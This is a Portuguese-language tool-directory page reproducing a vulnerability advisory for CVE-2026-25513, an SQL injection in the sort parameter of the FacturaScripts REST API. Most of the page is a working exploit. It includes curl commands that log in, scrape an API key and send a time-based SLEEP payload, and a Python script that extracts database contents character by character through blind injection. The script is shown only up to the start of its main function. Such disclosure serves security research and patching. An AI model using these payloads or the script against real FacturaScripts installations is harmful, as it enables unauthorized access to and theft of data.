Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts tem Injeção de SQL na cláusula ORDER BY da API | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-25513
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts tem Injeção de SQL na cláusula ORDER BY da API

Ver Repositório
4há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25513: FacturaScripts tem Injeção de SQL na cláusula ORDER BY da API

Visão Geral

CampoDetalhes
ID do CVECVE-2026-25513
SeveridadeALTA
ComunicadoVer Comunicado
Descoberto porLukasz Rybak

Produtos Afetados

  • facturascripts/facturascripts (versões: < 2025.81)

Classificação CWE

  • CWE-20: Validação de Entrada Incorreta
  • CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL ('Injeção de SQL')
  • CWE-943: Neutralização Incorreta de Elementos Especiais na Lógica de Consulta de Dados
  • CWE-1286: Validação Incorreta da Correção Sintática da Entrada

Detalhes

Resumo

O FacturaScripts contém uma vulnerabilidade crítica de injeção de SQL na API REST que permite que usuários autenticados da API executem consultas SQL arbitrárias por meio do parâmetro sort. A vulnerabilidade existe no método ModelClass::getOrderBy() onde os parâmetros de ordenação fornecidos pelo usuário são concatenados diretamente na cláusula SQL ORDER BY sem validação ou sanitização. Isso afeta todos os endpoints da API que suportam funcionalidade de ordenação.


Detalhes

A API REST do FacturaScripts expõe modelos de banco de dados através de vários endpoints (por exemplo, /api/3/users, /api/3/attachedfiles, /api/3/customers). Esses endpoints suportam um parâmetro sort que permite que os clientes especifiquem a ordenação dos resultados. A API processa esse parâmetro através do método ModelClass::all(), que chama a função vulnerável getOrderBy().

Locais de Código Vulneráveis

1. Modelos Legados: Arquivo: /Core/Model/Base/ModelClass.php Método: getOrderBy() Concatenação direta de chaves e valores do array $order.

2. Modelos Modernos (DbQuery): Arquivo: /Core/DbQuery.php Método: orderBy() Linhas: 255-259

        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Essa verificação tem a intenção de permitir funções SQL, mas falha ao validá-las, permitindo injeção de SQL arbitrária.


Prova de Conceito (PoC)

Pré-requisitos

  • Token de autenticação válido da API (cabeçalho X-Auth-Token)
  • Acesso aos endpoints da API do FacturaScripts

Verificação Passo a Passo (CLI)

Como o FacturaScripts exige uma chave de API existente, primeiro fazemos login pela interface web para encontrar uma chave válida.

1. Login e obtenção de uma chave de API válida: Lidamos com o token CSRF e os cookies de sessão para acessar as configurações e recuperar a primeira chave disponível.

# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verificação de Injeção de SQL Baseada em Tempo: Use a API_KEY extraída no cabeçalho X-Auth-Token.

# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Resultado Esperado: A requisição injetada levará significativamente mais tempo (o atraso depende dos registros do banco de dados), confirmando a injeção de SQL.


Ferramenta Automatizada de Exploração

Este script faz login automaticamente no FacturaScripts, recupera uma chave de API válida e realiza extração de dados sensível a maiúsculas/minúsculas usando injeção de SQL cega baseada em tempo.

import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")
Baixar ferramenta